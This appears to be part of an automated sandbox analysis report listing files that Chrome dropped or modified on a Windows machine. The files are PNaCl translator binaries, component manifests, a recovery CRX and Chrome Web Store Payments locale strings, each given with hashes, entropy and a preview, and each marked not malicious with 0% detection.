MD5: 9B159191C29E766EBBF799FA951C581B

SHA1: D1D4BBC63AB5FC1E4A54EB7B82095A6F2CE535EE

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe
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SHA-256: 2F4A3A0730142C5EE4FA2C05D27A5DEFC18886A382D45F5DB254B61B28ED642B

SHA-512: 0B4FF60B5428F81B8B1BCF3328CF80CBD88D8CE5E8BDBC236B06D5A54E7CF26168A3ABB348D87423DA613AB3F0B4D9B37CB5180804839F1CA158EC2B315DDF
00

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: low

Preview: .ELF..............>..... .......@...................@.8...@...............$.....................................................................................................................!.......!......'......G...................................
............@.......@...............P.td............................D.......D...............Q.td................................................................NaCl....x86-64..............GNU.0.m=F>k....&...i......................
..0C......0C..0C..0E..............0C......0E.-DT.!.?.-DT.!.........................?........-DT.!...-DT.!.?.......?......................?..............?."..."..."..."......@.......`...................... ...@...`.................
..... ...@...`...................... ...@...`...................... ...@...`.......................................`... ...@...`...........`...`.......@...@....... ....1..`3.. 4..`-..`-...:...:...F..@H..`H...H...F...F...G...H.. H.
..F..@G...I.. I..@I..@G...G...I...I...J...G..`I..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4b15de4ab227d5e46213978b8518d53c53ce1db9, stripped

Category: dropped

Size (bytes): 1901720

Entropy (8bit): 5.955741933854651

Encrypted: false

SSDEEP: 12288:gXqUSpBjwQO2o8k+7zjidg4euCAauOILffvCpGy4Wh3BTFmHpq82K2/KsvPyla9d:gafZwcOdNe2auOepCBTFmJq3Kf8ksr

MD5: 9DC3172630E525854B232FF71499D77C

SHA1: 0082C58EDCE3769E90DB48E7C26090CE706AD434

SHA-256: 6AA1DA6C264E0AF4E32A004F4076C7557C6AC6D9C38B0C5DE97302D83FA248C3

SHA-512: 9E9584241A39EED1463D7D4C1B26AE570B839AA315778FF3400C61341EBA43B630307DE9F1532A265CA82EA69BDEA03EC9D963E59A18569C02DA8285449870FE

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Reputation: low

Preview: .ELF..............>..... .......@...................@.8...@.............................................................................................0.......0................................................Y........................................
..............@.......@...............P.td....t^......t^......t^.......W.......W..............Q.td................................................................NaCl....x86-64..............GNU.K..J.'..b......<S...`...`... ...@...
@.......@.............................................Y@......................p................@.......?..............?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?
.y.P.D.?<.s..O.u......$@.......@...............@`...`.......@.................................................. ...`... ... .......`................... ... ...@...`.......................@... Z...[...[...e.......... ...@... ...@..
.`........0...0...2..`4.. 6...7...9...~...~...z...{...{..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: modified

Size (bytes): 66

Entropy (8bit): 3.928261499316817

Encrypted: false

SSDEEP: 3:STDLGswXEVBcVdBiTDt3zLsW:SPLGLErcVdBiDtf3

MD5: C00BCE97F21B1AD61EB9B8CD001795EE

SHA1: 8E0392FF3DB267D847711C3F4E0D7468060E1535

SHA-256: 59F06F04230E32E8BC839F45B984D31D611930427B631C963D09E7064A602363

SHA-512: 9930E44A6ECC62505DBADCEED5E05645909FF09816FB12AAC0414E6D2830AC09758366C3B7D4EDD7839C87EB16DFA4C66D8981AE6237D408B37135C3506F4CD
2

Malicious: false

Reputation: low

Preview: 1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 573

Entropy (8bit): 4.859567579783832

Encrypted: false

SSDEEP: 12:BLqG6yDJmL4mLDlG9hQ181G46XzrXc+EFfNqpaiOc+T5NqXIOclNqXL:BkylmL4mLDlJ18116XsRNqtZeNqXIZlE

MD5: 1863B86D0863199AFDA179482032945F

SHA1: 36F56692E12F2A1EFCA7736C236A8D776B627A86

C:\Users\user\AppData\Local\Temp\6004_270929196\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe

C:\Users\user\AppData\Local\Temp\6004_270929196\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\6004_270929196\manifest.json
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https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis


SHA-256: F14E451CE2314D29087B8AD0309A1C8B8E81D847175EF46271E0EB49B4F84DC5

SHA-512: 836556F3D978A89D3FC1F07FCED2732A17E314ED6A021737F087E32A69BFA46FD706EBBDFD3607FF42EDCB75DC463C29B9D9D2F122504F567BB95844F579831B

Malicious: false

Reputation: low

Preview: {."update_url": "https://clients2.google.com/service/update2/crx",..  "description": "Portable Native Client Translator Multi-CRX",.  "name": "PNaCl Translator Multi-CRX",.  
"manifest_version": 2,.  "minimum_chrome_version": "30.0.0.0",.  "version": "0.57.44.2492",.  "platforms": [.    {.      "nacl_arch": "x86-32",.      "sub_package_path": "_plat
form_specific/x86_32/".    },.    {.      "nacl_arch": "x86-64",.      "sub_package_path": "_platform_specific/x86_64/".    },.    {.      "nacl_arch": "arm",.      "sub_package_pa
th": "_platform_specific/arm/".    }.  ].}.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 145035

Entropy (8bit): 7.995615725071868

Encrypted: true

SSDEEP: 3072:TdgEhmDf+E8VY0x81Rkc6L2oqzqkPEu30gZlc3G2ZknF:TyEhmDf+/+Fnkj6lEukgZyyF

MD5: EA1C1FFD3EA54D1FB117BFDBB3569C60

SHA1: 10958B0F690AE8F5240E1528B1CCFFFF28A33272

SHA-256: 7C3A6A7D16AC44C3200F572A764BCE7D8FA84B9572DD028B15C59BDCCBC0A77D

SHA-512: 6C30728CAC9EAC53F0B27B7DBE2222DA83225C3B63617D6B271A6CFEDF18E8F0A8DFFA1053E1CBC4C5E16625F4BBC0D03AA306A946C9D72FAA4CEB779F8FF
CAF

Malicious: false

Reputation: low

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b..........S'.....2.{.....'....+.'.."..Y.x.ISa...)....H.&92..?!..~..F.5."...n,.B.-|\.)..(..... ]G..j.-M)...
.C......o&L..0.K.....UtP.&.N...;..^w/a{)v...~KG;...?.1...k.c..D.U......J.6.`.G.5.x.k..[...i.A.@I^..I.<A. J...j.'.G.`.$q.N..Tdq]2]p.OF..#.#......'....8.3......0.."0...*.H.............0.............O..(
...':19..O/.>....=.....m.n\.z..q.....JW..F......+H.Z+KGO.9....8.....U...&.y....,$...?.Eo.....\f/.Z..+M8...B.3'..Y.r...X.AS?.~..k..n....... Z...&.G....."n..........l.0v.x#<....Lx,-.w..-..d.....J.pT..('
e~*{%kQ.Q......rI.....Z....v.N.....J.d_......rX.......w@.b.[.c../V.'c...!.~.k..}z...U.S..nC......@.......Y..#.D.z.....5&.1O...X=p..2.F..P.6yP..>{.....HBX.*.E5....y..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1765

Entropy (8bit): 6.027545161275716

Encrypted: false

SSDEEP: 48:p/hii6zkvVI1Jip2qRNHvakuQkCNFxdsGwmBKkgum91:Rz0kv6cNvaYNFwSEhug

MD5: 45821E6EB1AEC30435949B553DB67807

SHA1: B3CADEB17FE5B76B5DBB428B8D3A07B341F8B1BC

SHA-256: E5FAE91295BECF7F66BFA4BE1061CA5537ED763EB5D01485F23ECFB583304FEE

SHA-512: BCBE40CAFAA4B14566D91E361D8FB7F0288D5C459FA478AA4C575444DA4D406E1076FC0B3A31D4A9E5EE034F0FE15A0EFE8A8A52B838DE94B96D3E488D28F0
FE

Malicious: false

Reputation: low

Preview: [{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiO
lt7InBhdGgiOiJSZWNvdmVyeS5jcngzIiwicm9vdF9oYXNoIjoiaGdCR051SzhNR2NKaDlfNmZQaFdEWmpVYUFKeklzeDlJS21DUEZvb0dfUSJ9LHsicGF0aCI6Im1hbml
mZXN0Lmpzb24iLCJyb290X2hhc2giOiIwYXduVFBFQmdDRHkyV05hVVk3Um9mSWN3c3ZwNHFRNUxzZVMxVXRiVXY0In1dLCJmb3JtYXQiOiJ0cmVlaGFzaCI
sImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiaWhubGNlbm9jZWhnZGFlZ2RtaGJpZGpobmhkY2hmbW0iLCJpdGVtX3ZlcnNpb24iOiIxLjMuMzYuMTQxI
iwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"iFuMX_kOZ-zJ7KVu6Lxb3rHWZg
QvkZhv25x_SGlBiDV_okALrGbj6rUOWyNNNsHXMnT118XZmA696XR8qkr4dwT5Gvez-9gi-WYBY7XBkgo7v6NspGgJF89BNCeI-P9k-zBHOGgrf-fCEiAcoM7xCx9_f8ql
Ry7nhQPyjOIHn5eEJEir0uSu6gdqR9afnVZ3UoR-VOLdOBt7fA4ee38MP2ut5qWU50F5dvIezfKkTVDMHwztvcLCy6R9SVkdSYv6jwWGccYRl-aclvkkHu6SnbZGI7fmDZ
dkcBAxBHYEZZMmvb76ro4SO15GDyEVAo_Qf4trdrY_GyN_Bm73imCTjgtoGc

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.7900469623255675

Encrypted: false

SSDEEP: 3:SpOXzxlQ4BdPWfDL9c:SpOjDQFfVc

MD5: 2AE14F91312C4E8034366B09D49D5B18

SHA1: AD4933A5D838D0FA0B960C327A5039A9E8249642

C:\Users\user\AppData\Local\Temp\6004_858776472\Recovery.crx3

C:\Users\user\AppData\Local\Temp\6004_858776472\_metadata\verified_contents.json

C:\Users\user\AppData\Local\Temp\6004_858776472\manifest.fingerprint
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SHA-256: 4F122332EF0F2BB490EF59619D3602C1A7277C0A7A19C132202DB4803A09BFA2

SHA-512: FB0CC467A4B8463F6A3BF42CDC11C23B34EB94A9397644B68714DCB819EE326BAE05022D59D23DC9907DF1E6928064D853FD0900BB6083417892D4D5A9BA7716

Malicious: false

Reputation: low

Preview: 1.aeedb246d19256a956fedaa89fb62423ae5bd8855a2a1f3189161cf045645a19

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 195

Entropy (8bit): 4.682333395896383

Encrypted: false

SSDEEP: 3:rR6TAulhFphifFJ9LAG9Xg0XTFHqS1wP/pEeSWU4pv/8F/FxLj2RF2fcTZTotL:F6VlM90ggITgS1wnuWfB0NpK4aotL

MD5: 7A8E3A0B6417948DF4D49F3915428D7A

SHA1: 4FC084AABDB13483567D5C417C7ED8FD16726A80

SHA-256: D1AC274CF1018020F2D9635A518ED1A1F21CC2CBE9E2A4392EC792D54B5B52FE

SHA-512: 064D84A57B28C19AD10742859DA493D0826B47ADC632F6C623DFB4DE36D72A9D29BE98518061A9FFD42D99FCF01F27DE39CE74782B3A5ACBBE11DFDDEEAB5
9A1

Malicious: false

Reputation: low

Preview: {.  "manifest_version": 2,.  "name": "ImprovedRecoveryComponentInner",.  "version": "1.3.36.141",.  "imageName": "image.squash",.  "squash": true,.  "fsType": "
squashfs",.  "isRemovable": false.}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Reputation: low

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\6004_858776472\manifest.json

C:\Users\user\AppData\Local\Temp\f206e525-44c4-415a-b8e9-b4cfd8ccda37.tmp

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\bg\messages.json
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Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\ca\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\cs\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\da\messages.json
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Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\de\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\el\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\en\messages.json
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Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 661

Entropy (8bit): 4.450938335136508

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34lPbdlVo03OyZnLAOfTY6xjD:1HEvaC6WYpcDeEFxq8ZpNl5OGAOffD

MD5: 82719BD3999AD66193A9B0BB525F97CD

SHA1: 41194D511F1ACC16C1CA828AC81C18C8C6B47287

SHA-256: 4DB9B2721E625C18B9E05C04B31AF5D9694712F1CAAF6219ABE34BB08E5DB1C7

SHA-512: D4C49B43427799B6292CEED11CACB1D76F7CE43EBF402B43B638A6EB2B414ED0981E386CB8CDF0B51D1BD9552934FE25B2F6392266BB73D8C9A691F65BCE01
28

Malicious: false

Reputation: low

Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "Los pagos en la aplicaci.n no est.n disponibles en este momento."..   },..   "jwt_retrieve_failed": {..      "message": 
"The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicia sesi.n en Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 637

Entropy (8bit): 4.47253983486615

Encrypted: false

SSDEEP: 12:1HEJHlbGGHlb+WYpU34ubdDH+dgxbFxTO8ZpU34GLO03OyZnLAOfTYiJD:1HEvaC6WYpcDeEFxq8Zp4LlOGAOfvD

MD5: 6B2583D8D1C147E36A69A88009CBEBC7

SHA1: 4D4DEEB4BE6AA0181825F3371A761ABC5B4D5937

SHA-256: 6659BC3705311D7641A73995DCFEA80C7734F2F4EBBC3787B3892A240348324F

SHA-512: 37F0DBFCC1B5A2B8E4C92C49D2D9DEEF25616421350324F57E0149A45A6CCB437F5E3CBE97412C4B5DBBF2593783C7DF71E9C25A851AEAE6E4764C545723FA
53

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\en_GB\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\es\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir6004_2102744300\CRX_INSTALL\_locales\es_419\messages.json
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Preview: {..   "app_description": {..      "message": "Sistema de pagos de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagos de Chrome Web Store"..   
},..   "craw_app_unavailable": {..      "message": "Esta aplicaci.n no est. disponible en este momento."..   },..   "craw_connect_to_network": {..      "message": "Con.ctate a 
una red."..   },..   "iap_unavailable": {..      "message": "En este momento, Pagos En-Apps no est. disponible."..   },..   "jwt_retrieve_failed": {..      "message": "The tr
ansaction could not be completed."..   },..   "please_sign_in": {..      "message": "Accede a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 595

Entropy (8bit): 4.467205425399467

Encrypted: false

